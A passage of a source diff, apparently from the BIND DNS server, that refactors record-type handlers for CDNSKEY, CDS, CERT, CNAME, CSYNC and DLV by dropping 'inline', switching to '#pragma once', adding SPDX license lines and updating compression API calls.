  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,14 +20,14 @@
 
 #define RRTYPE_CDNSKEY_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_cdnskey(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_cdnskey);
 
 	return (generic_fromtext_key(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_cdnskey(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_cdnskey);
@@ -33,14 +35,14 @@ totext_cdnskey(ARGS_TOTEXT) {
 	return (generic_totext_key(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_cdnskey(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_cdnskey);
 
 	return (generic_fromwire_key(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_cdnskey(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -53,7 +55,7 @@ towire_cdnskey(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_cdnskey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -71,14 +73,14 @@ compare_cdnskey(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_cdnskey(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_cdnskey);
 
 	return (generic_fromstruct_key(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_cdnskey(ARGS_TOSTRUCT) {
 	dns_rdata_cdnskey_t *dnskey = target;
 
@@ -93,7 +95,7 @@ tostruct_cdnskey(ARGS_TOSTRUCT) {
 	return (generic_tostruct_key(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_cdnskey(ARGS_FREESTRUCT) {
 	dns_rdata_cdnskey_t *dnskey = (dns_rdata_cdnskey_t *)source;
 
@@ -103,18 +105,19 @@ freestruct_cdnskey(ARGS_FREESTRUCT) {
 	generic_freestruct_key(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_cdnskey(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_cdnskey);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_cdnskey(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -126,7 +129,7 @@ digest_cdnskey(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_cdnskey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_cdnskey);
 
@@ -138,7 +141,7 @@ checkowner_cdnskey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_cdnskey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_cdnskey);
@@ -150,7 +153,7 @@ checknames_cdnskey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_cdnskey(ARGS_COMPARE) {
 	/*
 	 * Treat ALG 253 (private DNS) subtype name case sensitively.
diff --git a/lib/dns/rdata/generic/cdnskey_60.h b/lib/dns/rdata/generic/cdnskey_60.h
index 84a6c9739c..b2c87716ff 100644
--- a/lib/dns/rdata/generic/cdnskey_60.h
+++ b/lib/dns/rdata/generic/cdnskey_60.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CDNSKEY_60_H
-#define GENERIC_CDNSKEY_60_H 1
+#pragma once
 
 /* CDNSKEY records have the same RDATA fields as DNSKEY records. */
 typedef struct dns_rdata_key dns_rdata_cdnskey_t;
-
-#endif /* GENERIC_CDNSKEY_60_H */
diff --git a/lib/dns/rdata/generic/cds_59.c b/lib/dns/rdata/generic/cds_59.c
index 56a847be59..7c64158bf0 100644
--- a/lib/dns/rdata/generic/cds_59.c
+++ b/lib/dns/rdata/generic/cds_59.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,14 +20,14 @@
 
 #include <dns/ds.h>
 
-static inline isc_result_t
+static isc_result_t
 fromtext_cds(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_cds);
 
 	return (generic_fromtext_ds(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_cds(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_cds);
@@ -33,14 +35,14 @@ totext_cds(ARGS_TOTEXT) {
 	return (generic_totext_ds(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_cds(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_cds);
 
 	return (generic_fromwire_ds(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_cds(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -53,7 +55,7 @@ towire_cds(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_cds(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -69,14 +71,14 @@ compare_cds(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_cds(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_cds);
 
 	return (generic_fromstruct_ds(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_cds(ARGS_TOSTRUCT) {
 	dns_rdata_cds_t *cds = target;
 
@@ -94,7 +96,7 @@ tostruct_cds(ARGS_TOSTRUCT) {
 	return (generic_tostruct_ds(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_cds(ARGS_FREESTRUCT) {
 	dns_rdata_cds_t *cds = source;
 
@@ -111,18 +113,19 @@ freestruct_cds(ARGS_FREESTRUCT) {
 	cds->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_cds(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_cds);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_cds(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -133,7 +136,7 @@ digest_cds(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_cds(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_cds);
 
@@ -145,7 +148,7 @@ checkowner_cds(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_cds(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_cds);
 
@@ -156,7 +159,7 @@ checknames_cds(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_cds(ARGS_COMPARE) {
 	return (compare_cds(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/cds_59.h b/lib/dns/rdata/generic/cds_59.h
index a248266cc2..b5b409a25a 100644
--- a/lib/dns/rdata/generic/cds_59.h
+++ b/lib/dns/rdata/generic/cds_59.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CDS_59_H
-#define GENERIC_CDS_59_H 1
+#pragma once
 
 /* CDS records have the same RDATA fields as DS records. */
 typedef struct dns_rdata_ds dns_rdata_cds_t;
-
-#endif /* GENERIC_CDS_59_H */
diff --git a/lib/dns/rdata/generic/cert_37.c b/lib/dns/rdata/generic/cert_37.c
index 8a171f8a4f..92d62dbb1c 100644
--- a/lib/dns/rdata/generic/cert_37.c
+++ b/lib/dns/rdata/generic/cert_37.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_CERT_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_cert(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_secalg_t secalg;
@@ -59,7 +61,7 @@ fromtext_cert(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_cert(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("64000 ")];
@@ -113,7 +115,7 @@ totext_cert(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_cert(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -122,7 +124,6 @@ fromwire_cert(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 6) {
@@ -133,7 +134,7 @@ fromwire_cert(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_cert(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -146,7 +147,7 @@ towire_cert(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_cert(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -162,7 +163,7 @@ compare_cert(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_cert(ARGS_FROMSTRUCT) {
 	dns_rdata_cert_t *cert = source;
 
@@ -181,7 +182,7 @@ fromstruct_cert(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, cert->certificate, cert->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_cert(ARGS_TOSTRUCT) {
 	dns_rdata_cert_t *cert = target;
 	isc_region_t region;
@@ -205,15 +206,11 @@ tostruct_cert(ARGS_TOSTRUCT) {
 	cert->length = region.length;
 
 	cert->certificate = mem_maybedup(mctx, region.base, region.length);
-	if (cert->certificate == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	cert->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_cert(ARGS_FREESTRUCT) {
 	dns_rdata_cert_t *cert = source;
 
@@ -230,18 +227,19 @@ freestruct_cert(ARGS_FREESTRUCT) {
 	cert->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_cert(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_cert);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_cert(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -252,7 +250,7 @@ digest_cert(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_cert(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_cert);
 
@@ -264,7 +262,7 @@ checkowner_cert(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_cert(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_cert);
 
@@ -275,7 +273,7 @@ checknames_cert(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_cert(ARGS_COMPARE) {
 	return (compare_cert(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/cert_37.h b/lib/dns/rdata/generic/cert_37.h
index 7eb5ee7cbd..a905a2bb9a 100644
--- a/lib/dns/rdata/generic/cert_37.h
+++ b/lib/dns/rdata/generic/cert_37.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CERT_37_H
-#define GENERIC_CERT_37_H 1
+#pragma once
 
 /*% RFC2538 */
 typedef struct dns_rdata_cert {
@@ -22,5 +23,3 @@ typedef struct dns_rdata_cert {
 	uint16_t length;
 	unsigned char *certificate;
 } dns_rdata_cert_t;
-
-#endif /* GENERIC_CERT_37_H */
diff --git a/lib/dns/rdata/generic/cname_5.c b/lib/dns/rdata/generic/cname_5.c
index 69c28902fc..59fa54f328 100644
--- a/lib/dns/rdata/generic/cname_5.c
+++ b/lib/dns/rdata/generic/cname_5.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,7 @@
 #define RRTYPE_CNAME_ATTRIBUTES \
 	(DNS_RDATATYPEATTR_EXCLUSIVE | DNS_RDATATYPEATTR_SINGLETON)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_cname(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -39,12 +41,12 @@ fromtext_cname(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_cname(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_cname);
 	REQUIRE(rdata->length != 0);
@@ -55,12 +57,12 @@ totext_cname(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_cname(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -69,13 +71,13 @@ fromwire_cname(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_cname(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -84,16 +86,16 @@ towire_cname(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_cname);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_cname(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -118,7 +120,7 @@ compare_cname(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_cname(ARGS_FROMSTRUCT) {
 	dns_rdata_cname_t *cname = source;
 	isc_region_t region;
@@ -135,7 +137,7 @@ fromstruct_cname(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_cname(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_cname_t *cname = target;
@@ -153,12 +155,12 @@ tostruct_cname(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&cname->cname, NULL);
-	RETERR(name_duporclone(&name, mctx, &cname->cname));
+	name_duporclone(&name, mctx, &cname->cname);
 	cname->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_cname(ARGS_FREESTRUCT) {
 	dns_rdata_cname_t *cname = source;
 
@@ -172,9 +174,10 @@ freestruct_cname(ARGS_FREESTRUCT) {
 	cname->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_cname(ARGS_ADDLDATA) {
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
@@ -183,7 +186,7 @@ additionaldata_cname(ARGS_ADDLDATA) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_cname(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -197,7 +200,7 @@ digest_cname(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_cname(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_cname);
 
@@ -209,7 +212,7 @@ checkowner_cname(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_cname(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_cname);
 
@@ -220,7 +223,7 @@ checknames_cname(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_cname(ARGS_COMPARE) {
 	return (compare_cname(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/cname_5.h b/lib/dns/rdata/generic/cname_5.h
index 2daadba9ba..1525fa0d8c 100644
--- a/lib/dns/rdata/generic/cname_5.h
+++ b/lib/dns/rdata/generic/cname_5.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,10 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CNAME_5_H
-#define GENERIC_CNAME_5_H 1
+#pragma once
 
 typedef struct dns_rdata_cname {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t cname;
 } dns_rdata_cname_t;
-
-#endif /* GENERIC_CNAME_5_H */
diff --git a/lib/dns/rdata/generic/csync_62.c b/lib/dns/rdata/generic/csync_62.c
index 66c37a6f16..311ba00cea 100644
--- a/lib/dns/rdata/generic/csync_62.c
+++ b/lib/dns/rdata/generic/csync_62.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_CSYNC_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_csync(ARGS_FROMTEXT) {
 	isc_token_t token;
 
@@ -45,7 +47,7 @@ fromtext_csync(ARGS_FROMTEXT) {
 	return (typemap_fromtext(lexer, target, true));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_csync(ARGS_TOTEXT) {
 	unsigned long num;
 	char buf[sizeof("0123456789")]; /* Also TYPE65535 */
@@ -79,7 +81,7 @@ totext_csync(ARGS_TOTEXT) {
 	return (typemap_totext(&sr, NULL, target));
 }
 
-static /* inline */ isc_result_t
+static isc_result_t
 fromwire_csync(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -87,7 +89,6 @@ fromwire_csync(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(rdclass);
-	UNUSED(options);
 	UNUSED(dctx);
 
 	/*
@@ -109,7 +110,7 @@ fromwire_csync(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_csync(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_csync);
 	REQUIRE(rdata->length >= 6);
@@ -119,7 +120,7 @@ towire_csync(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_csync(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -135,7 +136,7 @@ compare_csync(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_csync(ARGS_FROMSTRUCT) {
 	dns_rdata_csync_t *csync = source;
 	isc_region_t region;
@@ -158,7 +159,7 @@ fromstruct_csync(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, csync->typebits, csync->len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_csync(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_csync_t *csync = target;
@@ -181,18 +182,11 @@ tostruct_csync(ARGS_TOSTRUCT) {
 
 	csync->len = region.length;
 	csync->typebits = mem_maybedup(mctx, region.base, region.length);
-	if (csync->typebits == NULL) {
-		goto cleanup;
-	}
-
 	csync->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_csync(ARGS_FREESTRUCT) {
 	dns_rdata_csync_t *csync = source;
 
@@ -209,18 +203,19 @@ freestruct_csync(ARGS_FREESTRUCT) {
 	csync->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_csync(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_csync);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_csync(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -230,7 +225,7 @@ digest_csync(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_csync(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_csync);
 
@@ -242,7 +237,7 @@ checkowner_csync(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_csync(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_csync);
 
@@ -253,7 +248,7 @@ checknames_csync(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_csync(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
diff --git a/lib/dns/rdata/generic/csync_62.h b/lib/dns/rdata/generic/csync_62.h
index a06e94c770..a7b3c1ee10 100644
--- a/lib/dns/rdata/generic/csync_62.h
+++ b/lib/dns/rdata/generic/csync_62.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CSYNC_62_H
-#define GENERIC_CSYNC_62_H 1
+#pragma once
 
 /*!
  * \brief Per RFC 7477
@@ -24,5 +25,3 @@ typedef struct dns_rdata_csync {
 	unsigned char *typebits;
 	uint16_t len;
 } dns_rdata_csync_t;
-
-#endif /* GENERIC_CSYNC_62_H */
diff --git a/lib/dns/rdata/generic/dlv_32769.c b/lib/dns/rdata/generic/dlv_32769.c
index 3b996adb1b..faf95000a9 100644
--- a/lib/dns/rdata/generic/dlv_32769.c
+++ b/lib/dns/rdata/generic/dlv_32769.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,14 +20,14 @@
 
 #include <dns/ds.h>
 
-static inline isc_result_t
+static isc_result_t
 fromtext_dlv(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_dlv);
 
 	return (generic_fromtext_ds(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_dlv(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_dlv);
@@ -33,14 +35,14 @@ totext_dlv(ARGS_TOTEXT) {
 	return (generic_totext_ds(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_dlv(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_dlv);
 
 	return (generic_fromwire_ds(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_dlv(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -53,7 +55,7 @@ towire_dlv(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_dlv(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -69,14 +71,14 @@ compare_dlv(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_dlv(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_dlv);
 
 	return (generic_fromstruct_ds(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_dlv(ARGS_TOSTRUCT) {
 	dns_rdata_dlv_t *dlv = target;
 
@@ -90,7 +92,7 @@ tostruct_dlv(ARGS_TOSTRUCT) {
 	return (generic_tostruct_ds(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_dlv(ARGS_FREESTRUCT) {
 	dns_rdata_dlv_t *dlv = source;
 
@@ -107,18 +109,19 @@ freestruct_dlv(ARGS_FREESTRUCT) {
 	dlv->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_dlv(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_dlv);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_dlv(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -129,7 +132,7 @@ digest_dlv(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_dlv(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_dlv);
 
@@ -141,7 +144,7 @@ checkowner_dlv(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_dlv(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_dlv);
 
@@ -152,7 +155,7 @@ checknames_dlv(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_dlv(ARGS_COMPARE) {
 	return (compare_dlv(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/dlv_32769.h b/lib/dns/rdata/generic/dlv_32769.h
index 2562296635..ec3709f31f 100644
--- a/lib/dns/rdata/generic/dlv_32769.h
+++ b/lib/dns/rdata/generic/dlv_32769.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
